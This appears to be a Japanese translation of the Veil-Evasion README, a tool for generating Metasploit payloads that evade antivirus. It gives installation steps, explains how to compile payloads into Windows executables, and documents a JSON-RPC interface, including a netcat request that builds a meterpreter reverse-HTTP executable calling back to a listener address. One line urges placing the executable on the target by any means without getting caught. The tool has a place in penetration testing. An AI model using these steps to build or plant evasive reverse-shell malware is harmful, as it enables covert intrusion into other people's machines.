
Veil Evasionはサポートされなくなりました。Veil 3.0を使用してください!
Veil-Evasion は、一般的なアンチウイルス対策を回避する Metasploit ペイロードを生成するために設計されたツールです。
注: メジャーバージョンアップのたびに
./setup/setup.shを再実行してください。Veil-Evasion の実行中に大きなエラーが発生した場合は、まずこのスクリプトを再実行して追加パッケージをインストールし、共通設定ファイルを更新してください。
Veil-Evasion は現在 @ChrisTruncer、@TheMightyShiv、@HarmJ0y によって積極的にサポートされています。
謝辞:
または
注: インストールはスーパーユーザー権限で行う必要があります。Kali Linux を使用していない場合は、各コマンドの前に
sudoを付けるか、root ユーザーに切り替えてから開始してください。
Kali x86 で setup.sh -c を実行します。
Windows マシンに Python 2.7、Py2Exe、PyCrypto、PyWin32 をインストールします (Py2Exe 用)。
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
注: これはスーパーユーザー権限で行う必要があります。Kali Linux を使用していない場合は、各コマンドの前に
sudoを付けるか、root ユーザーに切り替えてから開始してください。
ほとんどの場合、/etc/veil/settings.py の設定ファイルを再構築する必要はありませんが、場合によっては再構築を促されることがあります。このファイルは config/update.py によって生成されます。
update.py を実行する前に、config/ ディレクトリにいることが重要です。そうでない場合、settings.py が正しく生成されず、Veil-Evasion を起動すると以下のように表示されます。
Main Menu
0 payloads loaded
慌てないでください。config/ ディレクトリに入り、update.py を再実行してください。
Veil-Evasion は Kali Linux 上で動作するように設計されていますが、Python スクリプトを実行できるシステムであれば機能するはずです。 コマンドラインから Veil-Evasion を呼び出し、メニューに従ってペイロードを生成するだけです。ペイロードを作成すると、Veil-Evasion はそのペイロードファイルを Pyinstaller または Py2Exe で実行可能ファイルに変換するかどうかを尋ねます。
Pyinstaller を使用する場合、Veil-Evasion は Kali 内でペイロードを実行可能ファイルに変換します。
Py2Exe を使用する場合、Veil-Evasion は以下の 3 つのファイルを作成します:
これら 3 つのファイルをすべて、Python がインストールされた Windows マシンに移動します。 3 つのファイルはすべて、Python がインストールされたディレクトリのルート (通常は C:\Python27) に配置する必要があります。 バッチスクリプトを実行して、Python スクリプトを実行可能ファイル形式に変換します。
ターゲットマシンに実行可能ファイルを任意の方法で配置し、捕まらないようにしてください!
リスナー側で、以下を実行します:
./Veil-Evasion --rpc
これにより、ポート 4242 でリスナーが起動します。
クライアント側では、クライアントプログラムを実行する必要があります。これはカスタムスクリプトでも、Netcat のように簡単なものでもかまいません。RPC サーバーは JSON-RPC を実装しています。JSON-RPC のリクエストとレスポンスの解釈に関する良い参考資料はこちらです: http://json-rpc.org/wiki/specification
RPC リクエストの形式は以下の通りです:
method="version" - return the current Veil-Evasion version number
method="payloads" - return all the currently loaded payloads
method="payload_options"
params="payload_name" - return the options for the specified payload
method="generate"
params=["payload=X",
"outputbase=Y"
"overwrite=Z",
"msfvenom=...",
"LHOST=blah] - generate the specified payload with the given options and returns the path of the generated executable
以下は、Netcat を使用した Veil-Evasion の簡単な使用例です:
root@kali:~# nc 127.0.0.1 4242
{"method":"version","params":[],"id":0}
そして、サーバーの応答:
{"id":0,"result":"2.21.4","error":null}
クライアントプログラムの例はこちらにあります: http://github.com/miligulmohar/python-symmetric-jsonrpc/blob/master/examples/client.py
注: Veil-Evasion のポートは 4242 です。これと連携するには、client.py でこのポート番号を変更する必要があります。
ペイロードを生成するには、すべての パラメータを含める必要があります:
pwnstaller の使用有無を理解するための良い参考資料はこちらです: http://www.verisgroup.com/blog/2014/05/07/pwnstaller-and-the-veil-framework/
ペイロード生成の例:
root@kali:~# nc 127.0.0.1 4242
{"method":"generate","params":["payload=c/meterpreter/rev_http","outputbase=payloadName","LHOST=192.168.1.11","LPORT=2121","pwnstaller=False"],"id":1"}
そして、サーバーの応答:
{"id":8,"result":"/usr/share/veil-output/compiled/payloadName.exe","error":null}
注: リクエストに id が指定されていない場合、Veil-Evasion はシャットダウンします。ただし、Veil-Evasion がシャットダウンするまで、有効なリクエストをいくつでも送信できます。
RPC サーバーをシャットダウンするには、以下を実行します:
./Veil-Evasion --rpcshutdown